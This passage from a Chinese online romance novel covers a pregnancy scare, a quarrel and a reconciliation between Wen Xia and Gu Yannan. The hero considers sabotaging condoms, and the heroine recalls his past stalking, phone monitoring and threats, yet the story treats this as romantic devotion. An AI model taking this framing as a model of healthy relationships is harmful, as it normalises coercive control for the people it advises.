温夏和温诗特别喜欢这个嫂子,跟她说话时,她认真盯着你,给人一种全心全意听人讲话的感觉。
“怀孕的人闻不得荤腥味,把鱼汤放到温夏夏前面。”梁从音指使正在摆盘的祁源。
温夏瞥她一眼:“为什么不放到你前面?”
“因为我也怀孕了。”
“……什么?”
梁从音轻轻抚摸肚子:“本来打算三个月后再告诉你们的。”
温夏难以置信地盯着她的肚子:“几个月了?”
“一个多月,刚查出来的。”
梁从音婚礼后就一直念叨着备孕,没想到这么快就有了宝宝,温夏觉得特别神奇,盯着她的肚子看了几秒,然后看向祁源:“学长,你们真是行动派。”
祁源脸上挂着淡淡的笑,看得出心情不错。
梁从音啧了声:“我们再行动派也比不上砚哥啊,一声不吭就闪婚了,还分分钟种娃成功。”
唐瑜的脸腾地红了。
温砚的手臂搭在妻子的腰上,眉眼懒散:“不然两人还得瞎折腾十几年再生孩子?年纪越大生的孩子越不聪明。”
这话的指向性太强,顾衍南的眉眼陡然沉了下来,温砚是在嘲讽他跟温夏纠缠这么多年,到现在还是没名没分的床伴,而他短短几个月就完成了两件人生大事。
每次他提到名分的事,温夏就回避他的问题,他生气失落却无可奈何。
其实他们现在和寻常的夫妻没什么两样,比起她避他如洪水猛兽的时候,他很满意他们现在的状态,可看着这一个两个的都有了孩子,他心里不免有些不平衡。
如果当年他们没有闹掰,他们早结婚了,孩子该上幼儿园了,他至于现在还被温砚嘲讽?
顾衍南敛着眸,眸底暗波涌动。
因为同是孕妇,饭桌上,梁从音和唐瑜在商量怀孕心得,温夏吹完蜡烛后边吃边听她们说孕吐有多难受。
“要不我们也要一个?”身侧男人突然凑过来,在她耳边低语。
温夏瞪他一眼:“非婚生子?”
顾衍南给她盛鱼汤:“你愿意复婚,我们随时去民政局。”
“不要……”温夏话刚落,顾衍南把那碗鱼汤放到她面前,鲜美的鱼汤却募地让她的胃涌上一股恶心。
顾衍南坐在她身侧,察觉到她细微的反应,立刻问:“怎么了?哪里不舒服吗?”
“没事,”温夏顺了顺胸口,压下那股恶心,“芥末酱有点冲。”
顾衍南皱眉递给她一杯水。
温夏接过来喝了口,低头看着面前的鱼汤,拿起勺子端起来慢慢喝着。
这一小插曲很快过去,温夏的心却越来越沉,饭后,她说有个电话要打,让顾衍南把人送走。
她最近很忙,吃饭的时候就打了两个电话,顾衍南没有多想,把人送到楼下,温诗让大家先走,她有话要和顾衍南说。
车子走后,只剩下两个人,还是看不惯彼此的两个人,温诗知道顾衍南不喜欢她,正如她也不喜欢这个讨人厌的姐夫一样。不过谁让姐姐喜欢呢,她恶狠狠地道:“既然我姐选了你,你这次必须要好好对她,不准再欺负她,不然我就开发布会,拼了我的璀璨星途也要把顾氏的名声搞臭。”
顾衍南可不是对谁都有那份好脾气:“用得着你说。”
“你……”
“你年纪也不小了,抓紧找个男朋友。”没事少来打扰他们的二人世界。
温诗要被他气死了,顾衍南不想跟她这个脑子少根筋的妹妹继续聊,招呼着司机开车门:“快上车,生病了你姐又该担心了。”
“你要好好对我姐,不然我……”温诗诗在顾衍南的眼神示意下被司机和助理拉上车。
车辆发动,顾衍南转身,抬手揉了揉眉骨,也不知道姐妹俩的性格怎么能相差这么大。
坐电梯的时候,他在想孩子的事,要是她也怀孕了该有多好,这样她就愿意给他名分了。
这一瞬间,他又动了要不要在避孕套上动手脚的念头,这不是第一次,之前他就动过这样的想法,并且付诸行动。趁着她洗澡的时候他戳坏几个避孕套,但最后还是被他扔进垃圾桶,因为他很清楚地知道,如果她发现他算计她怀孕,他就再也没有机会被她接受了。
他们之间本就薄弱的信任,会瞬间化为泡沫。
理智上很清楚,可是他忍不住幻想有个长得很像她的宝宝喊他爸爸。
想什么呢,现在连男朋友都不是,已经跨越到生孩子了。
顾衍南自嘲地扯了扯唇,推门走进去,一眼看到坐在沙发上的女人。
家里开着暖气,温夏只穿着件柔软的米色毛衣,听到开门的动静,她抬头看过去,眼神冰冷。
顾衍南这段时间又没做亏心事,很坦然地问:“怎么了?谁惹你了?”
下一刻,一根白色的东西砸到他身上。
顾衍南看着她的脸看了几秒,然后低下头,看清地上的东西,瞳眸骤然缩了下。
验孕棒,两根红线的验孕棒。
他有孩子了?他们有宝宝了?
哪怕知道她对这件事并不欣喜,顾衍南心中忍不住触动,俯身把验孕棒捡起来,嗓音沙哑:“我们有宝宝了。”
温夏胸口翻滚着升腾的怒意,喝鱼汤的时候她就一直泛恶心,借着打电话的借口去浴室吐了,然后叫了外卖送验孕棒。
意外怀孕的概率不是没有,可看到两条红杠的瞬间,她想起了前不久的一个夜晚,她洗澡出来的时候,他拿着一堆避孕套不知道在做什么,她问,他说号买小了得扔掉。
怎么会买小,他们一直买的都是这个牌子的超大号。
本来想问他,被他吻得意乱情迷的,也就把这事忘了,当看到两条杠时,她几乎立刻想到这件事。
他算计她,他居然又算计她。
这一瞬间,无数的画面涌入脑海,他为了让她乖乖听话对付无辜的裴霖和从音,他背着她插手温氏的运作,背着她对付高行舟,用家人和朋友威胁她,找人跟踪她,监听她的手机……脑子里紧绷的那根弦募地断了,她看着这张一次次让她失望的脸,眼眶不受控制红了。
顾衍南脸色微变,抓住她的手腕,“我……”
“是我的错,我不该一次又一次相信你,”被他紧攥的手腕热度滚烫,温夏却浑身冰凉,“我的意愿对你来说什么都不是,一点也不重要,你永远那么自私,你这辈子都不会改,我不该跟你这种人在一起的……”
刚才还满是人气的客厅,此刻安静到死寂。
隐约能听到呼啸的寒风声。
她每说一句话,顾衍南的力道紧一分,他的喉结艰涩地滚动,脑子里无数解释的话要说,此刻却什么都不想说了。他经常在她面前说自己是个自私的人,他也清楚自己确实如此,他不会为了让她过得舒心放弃自己爱的人,但他无法接受从她口中听到“自私”的评价。
还是问都不问,直接下了判断。
当时高行舟那事,她也是这样,问都不问就断定是他做的。
在她心里,他到底有多糟糕。
他自嘲地扯了扯嘴角,嗓音沉哑:“在你心里,我就只会算计你吗?”
第73章 原来他对她来说一点也不……
看着他眼神中的嘲弄, 温夏的心猛颤了一下,手指无意识蜷缩起来。
她应该先问他再做判断的,不该贸然指责她, 可看到两条杠时的情绪完全不受控制, 种种过往历历在目,一遇到这种事,她的思维惯性就会怀疑他。此刻,她的情绪依旧尖锐,说出来的话当然不会好听:“难道你没有吗?”
顾衍南笑了下,声音寡淡:“我说我没有,你信吗?”
温夏的睫毛剧烈颤了下。
“你不信, 你不会相信我的,因为在你心里我就是一个连孩子都能当成算计筹码的人。”他低低笑了声,笑声里裹挟着浓浓的自嘲。
温夏抬起眼,看着他俊美矜贵的脸, 他勾了勾嘴角:“我没你想的那么下作。”
下作, 他这么定义她心中的他。温夏喉咙发涩, 从他否认的那一刻,她就相信了,因为他不管做了多过分的事, 从不屑于否认。
她误会他了。
温夏嘴唇动了动,想要道歉,他却抬腿朝卧室走,只留给她一个背影。
“验孕棒测得不准, 不管怎样,我们先去医院,看看到底有没有怀孕。”虽然产生过几次阴暗的念头, 但顾衍南都压了下去,每次他都严格地做了措施,安全期也没有弄进去过,中奖的概率不大。
走了两步,他突然回头看她,语气很平静地问她:“如果真的有的话,你会留下他吗?”
温夏慢慢咬着唇。
她要留下一个父母感情不稳定的孩子吗?
等她和顾衍南相看两厌时,那这个无辜的孩子该怎么办?
他会从小就苦恼为什么他的父母不相爱吗?为什么爸爸妈妈不爱他吗?
他会成为一个不懂爱也不敢爱,哪怕遇到喜欢的人却害怕受伤害宁愿把他推开的冷血怪物吗?
她的犹豫和退缩顾衍南看在眼底,就像以往无数次那样。
也是,在她心里他那么下作,她怎么会想要生一个下作的人的孩子。
过去每次他向她要名分,她都会回避,他想她只是因为过去他做的那些事所以不信任他,他们的信任需要重新建立,没想到一年过去了,在她心底,他仍是那样的形象。
她从根本上,就否定了他这个人。
顾衍南第一次对两人的未来产生怀疑。
他真的能让她敞开心扉再相信他吗?
她没有开口,顾衍南知道她的答案,转身去衣帽间把他和大衣拿上,出去前把她的大衣换成长款羽绒服,“走吧,先去医院。”
温夏怔怔看着他给她穿羽绒服系围巾戴手套,仍是那么体贴,可出门时他没有牵她的手。
她的嘴唇颤抖,原地不动,跟站在电梯里的顾衍南对视。
几秒后,顾衍南无奈地叹了声,从电梯里出来,牵着她的手把她拉进去,“走吧。”
她的嘴唇抖得更厉害。
夜色浓稠,细碎雪花从天空洒下来,地面上的积雪很厚了。
上车后,顾衍南打开车载音乐,这是不想理她的架势,温夏咽了咽嗓子,把头扭向窗外。
顾衍南看了眼她的侧脸,收回视线,专注开车。
深冬夜晚的车不多,一路畅通无阻,开到顾氏全资控股的一家私立医院。
院长亲自接诊,检查结果很快就出来了。
等待结果时,她紧张地攥着手指,说不清希望有还是没有。
有的话,是男孩还是女孩?长得会像他还是她?她很喜欢他这张脸,尤其是眼睛,如果宝宝遗传到他的眼睛,一定会很好看。
哪怕有一天他们闹掰,他不再爱她,她也会爱她的孩子,一定不会让她的孩子像她一样长大。
她还是更喜欢女宝宝的,就像许念念一样又香又软,小小的一只特别可爱,要给她取个什么名字呢?
“嘎吱——”
办公室的门从外面推开。
院长走了进来,推了下眼镜,总部老板带前老板娘亲自检查,但看两人脸上的表情不知道是想有还是没有,刚才全程都是顾衍南在跟他沟通,温夏只是在旁边静静听着,然后去做检查。
她斟酌着用词:“顾总,夫……温小姐没有妊娠反应。”
温夏心脏一紧,此刻的心情难以言喻:“没……没有吗?”
院长:“嗯,温小姐,验孕棒的准确率是90%左右,您今天一天吃了什么东西吗?”
温夏顺从地回答:“早上吃了……”
没怀孕,她没有怀孕,温夏摸着平坦的小腹,心情是说不出的复杂,如释重负的同时涌上一股怅然若失。
顾衍南偏眸看着她松了口气的模样,垂在身侧的手指关节被攥到泛白。
听到院长说她没怀孕,那一瞬间,他知道自己是失望的,可看到她这个反应,顾衍南觉得他该庆幸。
幸好没怀,不然如果她执意要打掉他们的孩子,那将会是他一生的噩梦。
-
那天过后,像是什么都没发生过一样,顾衍南跟以前一样无微不至地照顾她,早餐晚饭照常做,花和礼物没有一日停过,只是到了晚上,他只是亲亲她就抱着她睡了。
温夏知道他心里不舒服,如果他不分青红皂白地指责她她肯定也要生气,她想跟他道歉,却不知道该怎么开口。
结婚那两年,每一次争吵都是顾衍南主动来哄她,无论究竟谁对谁错。
她不会处理这种矛盾,她害怕看到道歉后他不温不火的反应,她怎么这么糟糕。
每次想开口,一对上他平静冷淡的眉眼,她就能想起他自嘲的那句“我没你想的那么下作”,他一定很失望吧。
这样的状态一直僵持着,温夏从一开始的纠结到后来的自暴自弃,就这样吧,如果分开了,说明他们注定要分开,不是现在也会是未来的某一天。
早一天分开,就少一分羁绊。
对待感情,她就是这样消极被动的一个人,永远在等着对方主动付出。
谁跟这样的她在一起,都会很累吧。
习惯性的,她心里默默做着顾衍南要跟她分手的准备,可当他提出要搬出去的那一刻,她的心脏狠狠地抽搐了下,眼皮不受控制地酸了。
她听到他用平静的声音说:“最近在忙一个收购案,要很晚才能回来,我这几天先在公司附近的公寓住。”
温夏下意识就想反问他“忙完后呢?”“他是要跟她分开吗?”但理智控制了她,她沉默片刻,说了个:“好。”
和他预想中的一样平静。
不然呢?他该幻想她勃然大怒不准他搬出去?不会的,他没那么重要。
虽然做好心理准备,但他此刻的心口就像是被什么东西种种压住一般,她刻意回避的,他不愿深思的——原来他对她来说一点也不重要。
这个认知,原来他那么的难以接受。
-
半个月了,顾衍南还是没有回来。
每日的花和礼物照常送,电话照打,就像他去出差的那些日子一样,但两人都清楚,不一样的。
温夏躺在床上,看着窗外漫天飞雪,今年的冬天,好冷。
意识被切割成两个独立相悖的区块——
一个沉浸在顾衍南要和她分开的事实中;
另一个冷眼俯视伤春悲秋的她,嘲讽她说不是早就做好这个打算了么,有那么难以接受吗?既然他要分开,她还要死皮赖脸地求他别走吗?她应该迅速走出来,把和他有关的事都屏蔽,这才是该做的,而不是夜夜失眠到天亮。
今天上午,她去温诗拍戏的片场探班,遇到一个很久没有见过的人——林曦。
她和林曦只有一面之缘,她不知道自己为什么对林曦记得那么清楚,连带着两人那一面时她自己亲口说的话都记得一清二楚。
狭路相逢,温夏看了眼便收回视线,正要离开,林曦突然从身后喊住她。
她停下来了,然后从林曦的口中得知,顾衍南知道她当初说的那番“让林曦去追他”的话。
记忆自动飘回那个雷雨夜,她在家看书,他回到家时连伞都没有打,浑身的水,盯着她看了半天也不说话,最后也没有把这件事说出来。
他那时候在想什么呢?
梁从音的来电打断了她的思绪,温夏接起,还没开口,梁从音激动的声音传来:“你跟顾衍南又吵架了?”
“……嗯?”这次的事,她谁也没告诉。
梁从音:“群里都传疯了,顾大公子暴雪夜待在某高档小区楼下不知道在等谁,这不就是你的公寓楼吗?”
温夏猛地从床上坐起来。
天气预报说,今晚雪该停了。
断断续续地下了小半个月,终于要停了。
顾衍南此刻在公寓楼下,靠在车身上抽烟。
寒冷的冬夜冷清寂静,他抬头看向她公寓的方向。
风大,烟点了几下才点燃,他沉沉吸了一口,青白烟雾漫过他深邃的五官,面容被烟雾渲染得模糊不清。
一根抽完,又点一根,烟盒空了,他皱着眉,意识到自己这段时间又犯了烟瘾。
正准备拆一盒新的,手机突然响了。
霍瑾深打来的。
他随手接了。
霍瑾深在电话那头漫不经心地说:“出来喝酒。”
“不去,有女人要陪。”
“你不是被甩了么,连她家门都进不去,哪门子的陪?”
顾衍南皱眉:“谁说我被甩了,是我生她的气。”
“所以是你甩的她?”
“我有病吗。”
想想这半个月,顾衍南真觉得自己有病,他跟她较什么劲的,她把他当成什么他不是一早就知道的吗,她现在能让他留在他身边就足够了,再作下去,她又要把他推开了。
他也弄不清自己这段时间在矫情什么,也许只是想在电话那头听她问一句“你什么时候回来”,哪怕这样简单的一句话,他都能说服自己对她来说不是可有可无的。
可是没有。
他几乎可以确定,如果他们就这么断了,她大概一开始会觉得有点不适应,不过也只是有点而已,依旧照样过她自己的生活。
对她来说,他应该是有点特殊的吧,但还没特殊到让她挽留。
顾衍南收回矫情的思绪,去后备箱拿行李,这段时间公司是真的忙,可哪怕再忙,他不管再晚也要在她家楼下待一会儿。
就像去年冬天一样。
他不明白这样有什么意义。
但离她近一点,他心里会好受一点,哪怕只是空间上的距离。
电话那头的霍瑾深冷嘲:“你能不这么上赶着吗?”显然是忘了自己当初有多上赶着。
他们见过彼此最狼狈的一面,顾衍南在他面前犯不着掩饰,用不在乎的口吻说:“她又不爱我,我不上赶着点,就真的断了。”
霍瑾深:“……你他妈傻逼吧。”
顾衍南淡淡地回:“你才是傻逼。”
“……”霍瑾深直接掐断了电话。
顾衍南摁灭手机,关上后备箱,转身——
温夏就站在他身后,一瞬不瞬地盯着他,满脸都是泪水。
第74章 她的画室
温夏从小就很少哭, 成年后为数不多的几次掉眼泪都是在顾衍南面前。
上一次是因为他欺负她,而这次,听到他用无所谓的口吻说出那句“她又不爱我”, 像是触发泪腺的某个开关, 眼泪就这么猝不及防地落下来。
顾衍南看到她的眼泪,微微怔住,心口紧了紧,大步走到她面前给她擦眼泪,嗓音被烟烧的沙哑:“怎么哭成这样?”
平日在床上,他总想把她弄哭,让她哭着求他轻点慢点, 楚楚可怜的,更能激发他的兽.欲。
可在生活中,别说掉眼泪,他连她眼眶红了都见不得, 慌乱地擦着她的眼泪, 心底忍不住懊悔为什么要跟她冷战。
“是我的错, 我不该离家出走,宝贝不哭了好吗?”她的眼泪越擦越多,顾衍南更加懊悔自己为什么要跟她较劲, 她哭起来是真的要命。
有时候,温柔的哄慰比严厉的指责更让人想落泪,温夏隔着朦胧的视线看他,不知道为什么, 他觉得她不爱他这点,让她感到特别委屈。她忍着抽噎,仰头看他, 嗓音还是哑的:“你觉得我不爱你,为什么还要回来?”
顾衍南抚上她的脸,低声问:“这两者有什么必然的关联吗?”
他回来是因为他爱她,他要她。
而她爱不爱他,都不会影响他爱她。
因为不管她爱不爱,他都做不到不爱她。
温夏心里更难受,她看着近在咫尺的男人,哽咽道:“我做不到像从音爱学长那样爱你,如果你想要从我这里得到那样的感情,我劝你还是趁早换个目标吧,我知道你羡慕他们。”
她其实想说的是“有关联,因为我爱你,你不能误会我,你太混蛋了”,可话到嘴边就变成尖锐的对峙,她知道他很羡慕祁源,前不久的婚礼上,从音喝醉了,对着祁源大肆告白,他当时就很羡慕地看着他们,还忍不住问她什么时候能对他这么热情。
她这辈子都做不到的,他会有一天觉得这样冷淡的她无趣吗?
当时她淡声回他一句“下辈子”,他没在意,这个话题就这样被岔开了,可是温夏却耿耿于怀。
如果他想要的是那样热烈直接的爱,她这辈子都给不了,他会选择换个人要吗?
顾衍南被她说的也有点生气,她怎么一直觉得他总有一天会不爱她?在她心里他的爱就这么不坚定?
“温夏,你非要气死我吗?”他扣着她的下巴,让她和他对视,一字一顿道,“你听好了,我是羡慕他们彼此相爱,所以我在努力让你爱上我,而不是你说的,换个爱我的女人去爱,如果我能做到爱上别的人,老子犯得着跟你折腾这么多年吗?”
他很长时间没有用这么恶劣的态度跟她说话了,温夏被吼得愣住了。
“如果感情能由意念控制,那我选择谁都不爱,可谁让你在我意志不坚定的时候勾搭我,还让我惦记这么多年。”他这话说的很坦诚,如果可以选择的话,他谁也不会爱,被一个人控制情绪是一件性价比很低的事,对于他这样的利己主义者来说,极力想要摒弃这样的存在。
可那个人偏偏是她,是那个十八岁那年穿着一身白裙子自信地说“我有很多闪光点”的她,那一刻,他就知道自己对她动了心思,他要让她成为他的,他一个人的。
占有欲来的猝不及防,他记不清从哪一刻开始变成爱,等意识到的时候,已经不能不爱了。
“我做不到不爱你,所以不管你讨厌我,抗拒我,还是避我为洪水猛兽,我都会爱你,”顾衍南的眼尾泛了点红,嗓音微微染上哑意,“以后不要再说让我去爱别的女人的话了。”
“那你也不准再离家出走了!”温夏双手紧紧环住他的腰,干净的脸蛋满是泪水,“你是小孩子吗?一生气就离家出走!”
顾衍南捏着她光滑的脸蛋,恶狠狠道:“知道我生气了还不来哄我?你是想气死我吗。”
“谁让你以前那么混蛋,你是有案底的你不知道吗?”温夏不甘示弱地回嘴,“而且你那天鬼鬼祟祟地弄一堆避孕套,到底是想干什么?”
顾衍南很坦然地说:“我是想着戳破几个弄进去让你怀孕,但一想想你知道这事的反应,我就收手了。”
温夏怒瞪他:“所以你真的这么想过?!”
“君子论迹不论心,我想的多了去了,我还想着把你用链子锁在家里想什么时候*你就什么时候*你,把你全身上下都灌满我的东西,让你……”
“你闭嘴!”温夏打断他的黄色废料幻想,张嘴就去咬他,“还君子,你还要不要脸!”
顾衍南“嘶”了声,摸着自己的下巴,“为什么不要?我这张脸这么好看,你又那么喜欢,当然要。”
“混蛋。”温夏咬住他的下巴。
“属狗的么,这么喜欢咬人。”
温夏张口咬住男人的薄唇,很用力,睁着眼准备欣赏他吃痛的表情,但他纹丝不动,反倒挑着眉梢挑衅她。
像是在说:就这点儿力气?
温夏冷笑了下,咬不死你。
原本还留着点力,被他一挑衅,她直接重重咬了下去。
顾衍南没料到她这么狠,直接咬出了血,唇间萦绕着淡淡的铁锈味,他眯起眼,看着心虚的女人。
温夏下意识想跑,可身体被他罩在车身和他的胸膛之间,根本无路可退,她强行镇定:“是你先说我是狗的。”
顾衍南没有接话,而是伸出舌尖慢慢舔着唇角的鲜红,那双微眯的桃花眼始终盯着她,里面仿佛有无数的
小钩子,看上去性感又危险。
温夏躲闪着他的视线:“回家……唔。”
话没说完,顾衍南已经俯身吻住了她。
时隔多日的吻,他凶猛得好似要把她吃下去,像是要报复她刚才那一口,好不容易吻够放过她,他开始啃咬她的唇瓣。
温夏被咬的直躲,但她被抵在车身上,避无可避,只能用指甲去抓他的脖子,声音含糊:“这是外面……有人……”
顾衍南看都没看:“下雪天的,哪来的人。”然后更深更重地吻下去。
久未经事,其实没多久,但对两人的频率来说很久了,如果不是顾忌着车停在路边会有人经过,再加上温夏坚决反对,顾衍南都想直接在车里做了。还是忍到家里,一路上两人吻着进去的,门一开他再也忍不住,开始撕扯她的衣服。
温夏毫不示弱地扯他的,他在外面站了太久,手好凉好凉,冰的她浑身颤抖,可他的呼吸又是滚烫的,往她耳朵里钻,舌尖轻轻舔她的耳朵,温夏难耐地发出一丝低吟,他就对着她的耳朵说:宝贝儿,叫的很好听,再多叫两声。放到往常,温夏肯定不允,今天她也不知道怎的,一双含水杏眸直勾勾地盯着他,从喉咙里轻轻发出他想要的轻吟。
顾衍南的骨头都被她叫酥了,全身的血液沸腾着,扣着她的手腕一把把人按在门板上。
她的主动热情让顾衍南直接失了理智,温夏到后来只能求他,他却充耳不闻,从门板到沙发再到客厅的茶几,上面又硬又凉,可他却格外有兴致。
抵死缠绵了大半夜,温夏窒息了数不清多少次,外面寒风凛冽暴雪纷飞,屋内的温度却逐渐攀升。
可能是太久没睡好,也可能是大部分的力都是他出的,顾衍南这一觉睡得很沉,温夏醒了的时候他还睡着。
这半个月都是一个人睡的,他的体温出奇的烫,冬天抱着特别舒服。温夏往他怀里钻了钻,认真看着枕边的男人,想到他昨晚那句“做不到不爱你”,眉眼忍不住弯了起来。
做不到不爱她,是不是代表着他一直会爱她呢?
这个认知,让她烦闷的心情瞬间明亮起来,她喜欢被他爱着。
可是他却不觉得她是爱他的,她有那么失败吗?温夏忽然很难受,又惆怅又委屈,忍不住用手轻轻描摹他的唇形,低喃:“没有不爱你……”
-
冷战这么久,好不容易和好,结果第二天顾衍南就要去出差,温夏当即就有点小不高兴:“你不会是在故意拿乔吧?我已经说了对不起了你还想要我怎样!”
昨晚她被他按在落地窗前,边看雪边被他逼着道歉,原来还觉得难为情,可真说出来的那刻,她是释然的,这件事真的过去了,不会再成为他们之间的疙瘩。
顾衍南听着她不讲道理的指责,把她抱在怀里,甜言蜜语说的特别顺口:“我怎么舍得生你的气,伦敦分公司出了点事,陪我一起去?”
温夏玩他的手指,问他:“你要待多久?”
“至少一星期。”
她闷着脸:“这么久。”
顾衍南爱死她这幅黏糊的模样,在她的脸蛋上亲了两口:“陪我一起去吧,工作推给大哥。”
温夏是不怎么想和他分开,妥协道:“好吧,不过明天不行,有个很重要的签约仪式我得出席,我明天晚上再去。”他明天一大早就得走。
虽然只隔一天,但在顾衍南眼中就是分别,这一夜又是狂欢的夜晚。
第二天一早,他精神抖擞,给她买了早餐放在保温锅里,亲了亲她的额头才出门。
伦敦分公司这边的高管这段日子不大安分,闹什么集体离职,想要以此获得更大的利益。顾衍南因为这群人不得不跟温夏分开,正在气头上,直接批了他们的离职信,问会议室的人:“还有谁要离职吗?我一起批。”
众人面面相觑,除了冒头的那两个,没人再出声。
顾衍南一肚子的气,从公司出来,看了眼时间,温夏还有两个多小时下飞机,司机问他是去机场还是回酒店,他想了想,报了个地址。
是温夏的公寓。
上次只在门口站了会,他还蛮好奇她在伦敦的家的。
据说她在这里住了四年。
顾大公子丝毫没有私闯名宅的心虚,拿着上次向物业要的钥匙开了房门,闲庭信步地参观她的公寓。
有钟点工定期打扫,屋内保持着干净整洁,顾衍南只是来参观一下然后就去机场接人,便没有开暖气。
装修的风格和她现在住的公寓差不多,是柔软的暖色调,稀释了空气中的冷意。
房子不算大,卧室的床头柜和书房的桌子上分别摆着副照片,女孩扎着精致的鱼骨辫,一身白裙,对着镜头浅浅微笑。
他看着照片,莫名产生一种她在对他笑的错觉,薄唇不自觉勾了勾。
放下镜框,他接着参观,推开最后一个房间,从外面随意瞥了眼,应该是她的画室——
顾衍南本打算瞥一眼就走的,可这里的画室特别乱,画框摆放得很随意,完全不是她的风格。
于是他走上前,没走两步,脚步募地顿住。
……
下飞机以后,温夏第一时间给顾衍南打电话:“你人呢?”
男人的声音很平静,却莫名像是在压抑情绪:“还在忙,我让司机去接你了,晚上我们回你的公寓睡吧。”
她的公寓?温夏下意识拒绝:“你没订酒店吗?”
“订了,但隔音不怎么好,正好我想看看你在伦敦住的地方。”
温夏哑然,他这么说,她不好再拒绝。她烦躁地揉了揉头发,只好道:“行吧,我先回公寓收拾收拾,你忙完给我打电话。”
“嗯。”
司机在机场门口等她,温夏有些焦急地催促开快点,心里隐隐有几分隐秘的难堪,为她那些年不为人知的心事。
伦敦也在下雪,下车后,温夏顾不得打伞,推着行李箱直接上去了。
猛地推开门,行李箱往客厅一扔,鞋也没换就往画室跑,一把用力推开门。
一只脚还没踏进去,她募地愣住了。
正低眸看画的男人听到动静,转头朝她看了过来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
第75章 “每天都要说……【完】
第75章 “每天都要说……
为什么总是忍不住画他呢?
这些年, 每次落完笔,她都会想这个问题。
因为她对他念念不忘吗?
温夏不觉得自己有这样的想法,她并不经常想起他, 只是极其偶尔, 白天遇到某个跟他有点像的人,才会猛然想起,然后一发不可收拾。
于是便用深夜的时间把她那段时间对于他想象记录在纸上。
可能是一个人在国外太无聊了,才会做这么无聊的事,这不代表什么,她一直是这样认为的。
她也不打算把这件事告诉任何人,这是独属于她的秘密, 就像是日记本,再亲密的人也不能看,哪怕里面记录的是没有多重要的事。
温夏蜷缩的神经慢慢缓过来,作出一副不在意的态度:“谁准你私闯我的家, 还偷进我的房间, 你能不能尊重一下我的隐私?”
顾衍南低眸看她, 眼底流动着复杂深晦的情绪:“你的隐私,全都是我?”
温夏一噎,不甚在意道:“你指的是这些画?这不代表什么, 我读研那会儿太闲,没事画的,至于为什么画你,是因为你长了张很适合被记录下来的脸。”
这理由显然站不住脚, 但顾衍南并没有拆穿她,一双深眸静静地盯着她,听着她说:“你不懂我们学艺术的, 看到好看的人好看的事物就想画下来是本能,我也画过很多长得蛮不错身材很好的男模特,在我心里画你和画他们没有本质上的区别……”
说着说着,温夏的声音慢慢低下去,她知道自己是胡说八道,光看满画室都是他的画,就知道这个理由站不住脚。在男人炙热深邃的目光下,她的脸颊不受控制地烧红,破罐子破摔:“信不信随便你。”反正她没有对他念念不忘。
撂下这句话,她故作淡定地等他的反应,而他更淡定:“先去吃饭吧。”只是嗓子微微有点沙哑。
他居然没有说点什么?比如质问她这些年念着他为什么不联系他之类的,那她就可以理直气壮地怼回去:你不是也没联系我吗?可他什么都没有说,一副淡淡然的反应,吃饭的时候聊的话题也是无关紧要的小事,搞得温夏心里隐隐有点小失落。
人是很奇怪的一种生物,她并不想让他知道这件事,可他知道这件事却没什么反应,她忍不住失望。还以为他会很激动呢。
“我坐了十几个小时的飞机,困死了,我先睡了。”因为心里不舒服,温夏的语气也不怎么好,吃完饭回到家就直奔房间,一点也不想搭理他。
他仍是那副死样子:“嗯,你先睡,我还有点工作要处理。”
“……”温夏重重把卧室的门摔上。
是真有工作要处理,他却没去书房,而是回到她的画室。
他没走进去,靠在门板上,望着满室随意摆放的画架,每一幅都是他。
是他,居然都是他。
画中人的五官和现在的他没差,只是画纸上的透着股年少轻狂的意气,是以前的他,是他们分开那些年的他。
……
误闯她的画室,缓过最初的愣怔,顾衍南慢慢回想那十年。
对顾衍南来说,那是他不愿意触碰的回忆,无论是后悔、遗憾,还是思念,这其中都夹杂着恨意。
这些年,他无时无刻不在恨她。
他见证沈青砚和许婧结婚生子,冷眼旁观霍瑾深和明央的爱恨纠葛,看着身边的朋友为了一个人犯蠢买醉,每当这时,他对她的恨意就会更浓一分。
恨她为什么可以断的那么干脆。
恨她为什么可以转身就认识别的男人。
恨她为什么不把他当回事。
就这样一个轻浮、冷漠、无情的女人,他到底在执着什么?
全天下的女人又不是都死光了,他为什么一定得非她不可呢?
这个答案无果,一直到婚后,每次吵完架,他忍不住想去看她的反应,他都会觉得自己太他妈犯贱了,非得上赶着贴她的冷脸。
可是没办法,他控制不住自己,只能用最难听尖锐的话表达他对她的恨,恨她……为什么不爱他。
对于那十年,他是不平衡的,他以为只有他一个人对他们的过去耿耿于怀,对她耿耿于怀,可当他看见这些画的时候,他明白,耿耿于怀的原来不止他一个人。
原来这些年,她也在想他。
原来从来不是他一个人的独角戏。
原来,他对她来说,不是无足轻重的。
或许,她爱他也说不定。
心脏像是被密密麻麻的针扎过,千疮百孔,然后从缝隙中灌入甜甜的蜂蜜。
又酸又甜,泛着微微的疼痛。
她这些年又是怎么过的?
听他用尖锐难听的话刺她的时候,她又是什么心情。
顾衍南喉咙一哽,酸涩的液体涌了上来,他从烟盒中拿出一根烟咬在嘴里,用打火机点燃,靠着门板,幽幽吐出一口烟雾,苦涩辛辣的烟味在口中蔓延。
曾经不在意的,不愿意细想的事情,在这一刻都有了答案。
他想起领结婚证那天,工作人员问他们是否确定结为夫妻时,她眼底的迷茫。他当时只当她心底是不愿意的,可如果她只把他当做提款机,怎么会连掩饰情绪都忘了?她向来是控制情绪的强者。
还有他们婚礼那天,他看得出她的期待和紧张,却因为她邀请高行舟来,对她说了很多难听的话,看着她眼底的波澜消失,恢复平静止水。
婚后无数次争吵时她红了的眼眶,那一声低声下气的对不起,她的眼泪,她的歇斯底里,她的冷漠回避,她针锋相对时说的那些能把他气死的话。
如果她真的一丁点都不在意他,犯不着动怒、落泪,她可以永远装出一副温柔好脾气的模样。
而他又是怎么对她的?
烟燃到尽头,灼烧着指尖,顾衍南低眸,把烟掐灭。
想起他对她说过的话、做过的事,他重重闭上眼。
顾衍南,你他妈真是个混蛋。
-
坐了十几个小时的飞机,温夏此刻却丝毫没有睡意,满脑子都在想顾衍南的反应。
这混蛋为什么这么淡定?他不是爱她吗?知道这事儿他不该很高兴吗?
还是说,人性本贱,知道她的心思,他觉得没意思,就没那么爱她了?
这个念头一出,温夏用力地捶了捶额头,她要控制惯性思维对她的影响,不能总是怀疑他的真心。
太伤人了。
想是这么想,她心里就是有点不舒服,为他过于冷静的反应。思来想去,她还是起床,准备去书房找他。
刚打开卧室门,就闻到一股浓郁的酒精味,是从画室飘来的。
温夏眼皮一跳,快步走过去。
画室的灯开着,光线明亮,顾衍南坐在画室里唯一的那个小凳子上,桌上摆着一瓶红酒,他手里晃着高脚杯,听到动静,转身朝她看去。
